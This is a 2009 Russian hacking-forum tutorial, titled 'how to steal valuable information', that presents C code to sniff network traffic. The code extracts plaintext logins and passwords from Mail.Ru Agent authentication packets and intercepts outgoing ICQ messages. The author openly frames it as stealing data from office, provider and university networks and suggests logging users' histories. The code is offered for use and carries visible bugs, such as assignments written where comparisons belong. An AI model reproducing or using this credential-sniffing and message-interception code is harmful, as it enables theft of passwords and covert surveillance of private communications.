ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Фильтры траффика или как украсть ценную информацию
  #1  
Старый 19.07.2009, 21:23
Аватар для Gar|k
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию Фильтры траффика или как украсть ценную информацию

Сейчас практически везде есть интернет, а это значит, что существуют сервера, которые его раздают. Крупные офисные сети, локальные сети, провайдеры ммм как много вкусной информации

Анализаторов трафика или снифферов сейчас предостаточно, лично я пользуюсь wireshark, но мы же круты и напишем простейший сниффер на Си

Ну, теперь трафика у нас предостаточно, что же мы будем с ним делать? Анализировать товарищи! но не руками, а функциями

Давайте для начала напишем функцию, которая будет показывать логины и пароли при подключении Mail Agent-а.

Изучив документацию по протоколу MRA становится ясно, что для подключения клиент должен послать пакет MRIM_CS_LOGIN2

Цитата:
Сообщение от MRA docs  
Пакет: Авторизация

Имя пакета: MRIM_CS_LOGIN2
Тип пакета: cs
Параметры:

LPS ## login ## email авторизующегося пользователя
LPS ## password ## пароль
UL ## status ## статус (см. MRIM_CS_CHANGE_STATUS)
LPS ## user_agent ## текстовое описание клиента пользователя, например "Mail.Ru Miranda Plugin v 1.0"
нам остается лишь включить сниффер, найти этот пакет скопировать его дамп в файлик и написать функцию его разбора

Код:
int *mraTest(unsigned char *buffer,size_t buflen)
{

 typedef struct mrim_packet_header_t
{
    unsigned long      magic;		// Magic
    unsigned long      proto;		// ?????? ?????????
    unsigned long      seq;		// Sequence
    unsigned long      msg;		// ??? ??????
    unsigned long      dlen; 		// ????? ??????
    unsigned long	from;		// ????? ???????????
    unsigned long	fromport;	// ???? ???????????
    unsigned char	reserved[16];	// ???????????????
}
mrim_packet_header_t;

typedef struct lps
        {
        unsigned long      dlen;
        unsigned char	str[255];
        }
lps;

mrim_packet_header_t cs;
lps datas;
unsigned char *p,*d;
unsigned char magic[]={0xEF,0xBE,0xAD,0xDE};
unsigned char login_msg[]={0x38,0x10,0x00,0x00};
unsigned char *pack;

int i;

unsigned long maxaddr;
unsigned long packaddr;

FILE *f;

p=memmem(buffer,&magic,buflen,4);

if(p!=0)
        {
        d=memmem(buffer,&login_msg,buflen,4);
        if(d!=0)
        {


        memset(&cs,0x00,sizeof(cs));
        memcpy(&cs,p,44);

        if(cs.msg=0x1038)
                {

                 // printf("%d %d\n",buflen,cs.dlen);

                  if((buflen-sizeof(cs))<=80) // буффер без заголовка
                  {
                  return (int *)cs.dlen;
                  }


                printf("Mail Agent login------------\n");

                pack=(char *) malloc ( cs.dlen );
                memcpy(pack,p+sizeof(cs),cs.dlen);



                memcpy(&datas,&pack[0],sizeof(datas));
                if(datas.dlen>255){ return 0;}
                datas.str[datas.dlen]='\000';
                printf("Login: %s\n",datas.str);

                memcpy(&datas,&pack[datas.dlen+4],sizeof(datas));
                if(datas.dlen>255){ return 0;}
                datas.str[datas.dlen]='\000';
                printf("Password: %s\n",datas.str);

                free(pack);
                return -1;
                }
        }
}

return 0;

}
функцию я писал давно и она, к сожалению, не блещет интеллектом, но работает ) (З.Ы.: напиши лучше!)
теперь чтобы наша функция работала в паре с нашим снифером допишем ее сюда

Код:
...
// анализ принятого буфера
mraTest(buffer,resbuf);
...
Ну, маил агент это как-то не интересно, давайте замахнемся на ICQ!
но тут не все так просто лично я не знаю на данный момент программы, которая использует не шифрованную версию авторизации (кстати, в QIPе была галочка о простом доступе), а подобрать MD5 хеш пароля очень сложно ведь он по старым стандартам генерировался так
Цитата:
Сообщение от http://iserverd.khstu.ru/oscar/snac_17_02.html  
#define AIM_MD5_STRING "AOL Instant Messenger (SM)"

/* calculate md5-hash to send to server */
md5_init(&state);
md5_append(&state, (const md5_byte_t *)authkey, strlen(authkey));
md5_append(&state, (const md5_byte_t *)passwd, strlen(passwd));
md5_append(&state, (const md5_byte_t *)AIM_MD5_STRING, strlen(AIM_MD5_STRING));
md5_finish(&state, (md5_byte_t *)auth_hash);

/* Now we ready send to server auth_hash array (16 bytes long) */
впринципе изучив новый протокол мы можем спокойно вытащить и authkey (там не существенные изменения), а открыв программу в отладчике попытаться найти строку AIM_MD5_STRING, а патом долго брутить пароль хех

Нет, мы реализуем кое-что поинтереснее, мы будем перехватывать переписку!

Открыв сниффер включив миранду и отправив другу, сообщение я выяснил, что она отправляет сообщения вот таким макаром, а если быть еще точнее то таким. За дело! сохраняем дамп пакета и начинаем кодить...

Код:
void ICQtestMessage(unsigned char *buffer,size_t szbuffer)
 {
 int i=0,z=0;
 unsigned short *word;

//{09461349-4C7F-11D1-8222-444553540000}
unsigned char guid[16] = {
	0x09, 0x46, 0x13, 0x49, 0x4C, 0x7F, 0x11, 0xD1, 0x82, 0x22, 0x44, 0x45, 0x53, 0x54, 0x00, 0x00
};


 while(i<szbuffer)
{

// ICQ sniff filter by Gar|k
// разбор пакета SNAC (04,06)/CH2
// http://iserverd.khstu.ru/oscar/snac_04_06_ch2.html

if(buffer[i]==0x2a && buffer[i+1]==0x02) // FLAP channel 2
{

 if(buffer[i+7]==0x04) // SNAC family 0x0004 - AIM Messaging
        {


        switch(buffer[i+9])
                {
                case 0x06: // SNAC subtype 0x0006 - outgoing

                        //message channel  i+27

                        if(buffer[i+25]=0x02){ // Channel 2 (rtf messages, rendezvous)
                                //buddy
                                printf("AIM Message outgoing to: ");



                                for(z=0;z<buffer[i+26];z++){putc(buffer[i+27+z],stdout);}
                                i+=27+z;putc(0x0A,stdout);



                                //разбирать сообщение мы будем для ICQ Server Relaying - {09461349-4C7F-11D1-8222-444553540000}
                                if(memcmp(&buffer[i+14],&guid,16)==0){
                                        // далее могут идти а могут и нет TLV различные,
                                        // поэтому стартуем поиск  TLV 0x2711 - extention data
                                        i+=14+16;
                                        while(buffer[i]!=0x27 && buffer[i+1]!=0x11) i++;
                                        // опять пропускам левое
                                        i+=0x25;

                                        while(buffer[i]==0x00)i++;

                                        // message type
                                        printf("---------------------------\n");
                                        switch(buffer[i])
                                                {
                                                case 0x01: // plain text
                                                        i+=8;
                                                        puts(&buffer[i]);
                                                        break;
                                                }

                                        }
                                }
                        break;
                        }
                }
 //break;
        }
i++;
}
 }
вот такой код вышел у меня, и он обрабатывает лишь исходящие сообщения.

теперь прикрепляем его в наш сниффер
Код:
...
// анализ принятого буффера
mraTest(buffer,resbuf);
ICQtestMessage(buffer,resbuf);
...
Я надеюсь, вы втянетесь в разработку фильтров ведь в ICQ я описал лишь прием, да и то только по второму каналу и 1 типу сообщения )

Если задумываться о развитии этого проекта, то можно скрестить его с базами данных и вести нехилое хистори пользователей сети хех ну или искать в сообщениях слова алах-агбар и палить IP пользователя компетентным органам

З.Ы: по закону у каждого провайдера должен стоят сервер ФСБ, а что он там делает . В моем универе не хилая сеть, а администраторы мои друзья. Не дай бог там проверить почту зайти в аську или контакт

Последний раз редактировалось Gar|k; 19.07.2009 в 21:45.. Причина: ошибок куча ггг
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Закон Sinay Авторские статьи 15 01.02.2009 22:55
Как стать хакером! foreva Болталка 19 12.12.2007 00:12
Кэш браузера или Как была доказана твоя вина MorpheuS Авторские статьи 19 21.05.2007 03:27
Bsod экран смерти silveran Чужие Статьи 1 21.12.2005 22:34



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ